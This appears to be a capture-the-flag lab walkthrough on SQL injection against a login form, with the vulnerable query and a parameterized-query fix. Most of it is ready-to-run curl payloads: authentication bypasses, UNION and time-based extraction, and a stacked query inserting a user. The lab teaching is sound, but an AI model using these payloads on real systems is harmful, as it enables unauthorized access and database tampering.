Start the machine, hack the system, and find the hidden flags to complete this challenge and earn points!
Launch your dedicated AWS machine to begin hacking
<target-ip>:80 to understand the objectives and scenario.nmap -p 1-10000 <target-ip>curl http://<target-ip>:8080/# Test with valid format but wrong credentials
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=password"# Test for SQL injection vulnerability
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin'&password=test"-- can be used to ignore the rest of the query, effectively bypassing the password check entirely.# Classic OR-based authentication bypass
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin' OR '1'='1&password=anything"
# Alternative payload
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin' OR 1=1--&password=test"
# Comment-based bypass
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin'--&password=anything"curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin' OR '1'='1&password=test"# Using UNION injection approach
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=' UNION SELECT 1--&password=test"
# Comment out password check
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin'/*&password=*/OR/**/1=1--"# Vulnerable SQL construction
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"admin' OR '1'='1 is used:# Resulting malicious query
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='test'# Time-based payload
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin'; WAITFOR DELAY '0:0:5'--&password=test"# Boolean-based payload
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin' AND (SELECT COUNT(*) FROM users)>0--&password=test"# Extract database version
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=' UNION SELECT @@version--&password=test"# Password field SQL injection
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=' OR '1'='1"# Stacked query injection
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin'; INSERT INTO users VALUES('hacker','pass')--&password=test"# URL encoded payload
curl -X POST http://<target-ip>:8080/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin%27%20OR%20%271%27%3D%271&password=test"# Secure parameterized query (Python example)
import sqlite3
def authenticate_user(username, password):
conn = sqlite3.connect('database.db')
cursor = conn.cursor()
# Secure parameterized query
query = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(query, (username, password))
result = cursor.fetchone()
conn.close()
return result is not NoneEnter your email to continue
Choose a username to get started
We've sent a 9-character code to your email